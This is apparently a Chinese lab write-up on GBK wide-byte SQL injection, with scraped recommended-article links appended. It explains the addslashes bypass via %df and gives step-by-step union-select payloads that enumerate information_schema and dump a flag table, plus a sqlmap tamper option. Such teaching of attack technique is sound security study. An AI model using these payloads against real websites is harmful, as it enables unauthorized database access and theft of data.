注入基础

  • GBK 编码 两个字节表示一个字符
  • ASCII 编码 一个字节表示一个字符
  • MYSQL默认字节集是GBK等宽字节字符集

addslashes()函数

addslashes ( string `$str` ) : string返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。只要注入'  "  \ 空字符 都会转义为 \'  \" \\ \
魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】

利用场景

如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入

%DF':   - 会被PHP当中的addslashes函数转义为:%DF\'
- \ 会被URL编码为 %5C
- 那么 %DF'  会被转义为 %DF%5C%27
- %DF%5C%27是一个宽字节 也就是一个縗'
从而可以进行构造闭合,进行注入
小技巧:有的时候我们也可以用16进制来代替字符串

URL编码

  • %27---------单引号

  • %20----------空格

  • %23-----------#号

  • %5c------------\反斜杠

靶场

1、进入靶场

2、使用反斜杠进行探测
明明只输入了一个反斜杠,在查询语句中却出现了两个

输入一个单引号却出现反斜杠+单引号

3、有此可以判断,使用了转义函数addslashes()或者魔术引号,试一试可否进行宽字节注入
输入%df’,页面报错,好事情

4、在’后加上注释符-- q
页面返回正常,存在宽字节注入

5、使用order by 判断字段数


可知字段数为3

6、使用联合查询,探测回显点
得到回显点2,3

7、使用version(),查询数据库版本号

5.0以上版本,可以使用information_schema数据库得出数据

8、使用limit依次爆出表名

/index.php?id=0%df' union select 1,2,table_name from
information_schema.tables where table_schema=database() limit 0,1-- q


9、查看china_flag表下的字段名
使用联合查询时

index.php?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columnswhere table_schema=database() and table_name='china_flag'-- q

此时可采用子查询的方式

index.php?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- q


得到china_flag表下的Id和C_Flag字段

10、使用limit依次爆出Id和C_Flag字段信息

index.php?id=0%df' union select 1,Id,C_Flag from china_flag limit 0,1-- q

SQLMap跑宽字节注入

在已知存在宽字节注入的情况下,可使用sqlmap的参数:--tamper  unmagicquotes.py

11、注入篇--宽字节注入相关推荐

  1. mysql宽字节注入_(宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入 1.判断列数: http://chinalo ...

  2. ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入

    0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...

  3. sql注入_1-8_宽字节注入

    文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...

  4. mysql sql宽字节注入_sql注入之宽字节注入

    宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境  做做实验 实验环境: wamp集成包 实 ...

  5. 盲注、报错注入、宽字节注入、堆叠注入学习笔记

    文章目录 一.盲注 二.报错注入 什么是报错注入 报错注入原理 报错注入的场景 常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...

  6. 渗透测试学习笔记(一)注入篇-盲注 二次注入 宽字节注入

    时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and  if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...

  7. php 宽字节注入 转成utf8,Hr-Papers|宽字节注入深度讲解

    /*Team:红日安全团队团队成员:CPRTitle:宽字节注入*/ 原理介绍 基本概概念宽字节是相对于ascII这样单字节而言的:像GB2312.GBK.GB18030.BIG5.Shift_JIS ...

  8. mysql注入转义绕过_SQL注入防御绕过——宽字节注入

    01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...

  9. SQL--盲注和宽字节注入

    先知道这些函数有什么作用 length() 函数 返回字符串的长度 substr() 截取字符串 (语法:SUBSTR(str,pos,len);) ascii() 返回字符的ascii码 [将字符变 ...

最新文章

  1. 汇编语言-环境安装及各个寄存器介绍
  2. 站在汽修厂的角度看需求
  3. SQL语句中timestamp进行排序BUG
  4. ZfNet解卷积:可视化CNN模型( PythonCode可视化Cifar10)
  5. Linux日志文件总管——logrotate
  6. Java学习笔记:BlockingQueue接口
  7. 机器学习基础(四)——持久化分类器
  8. ssl证书链的验证的其它方式
  9. Mysql基础增删改查语句
  10. 程序员笔名、别名_适合程序员的英文名字
  11. hexo+next主题优化之加入网易云音乐、网易云跟帖、炫酷动态背景
  12. CVPR 2018 微表情识别论文
  13. Java版 设计一个程序, 输入三位数a, 分别输出个,十,百位
  14. 同城信息发布小程序开发制作
  15. js中php遍历数组,vue.js如何遍历数组
  16. [十月往昔]——Linux内核中的list.h浅谈
  17. 高速破解wifi 使用airolib-ng
  18. 计算机考c语言的好不好调剂,从三跨考生到初试985调剂211心路历程
  19. pytorch版本CSNet运行octa数据集的问题
  20. 卷积神经网络图片放大,神经网络输入图片大小

热门文章

  1. 微服务的拆分和远程调用
  2. 速度传感器类型与原理及优点
  3. 南方数码iData数据工厂二次开发图层选择
  4. C语言——用函数实现模块化设计
  5. INTERSPEECH2023|达摩院语音实验室入选论文全况速览
  6. react利用create-react-app搭建项目
  7. 为什么“动物杂交”很棒,为什么要玩
  8. eslint怎么解决给Vue组件命名Template会报错?避免大驼峰写法?
  9. 有道笔记手机搜索_通过有道云笔记随时随地收集你的思绪
  10. 用HTML提交基因检测项目表格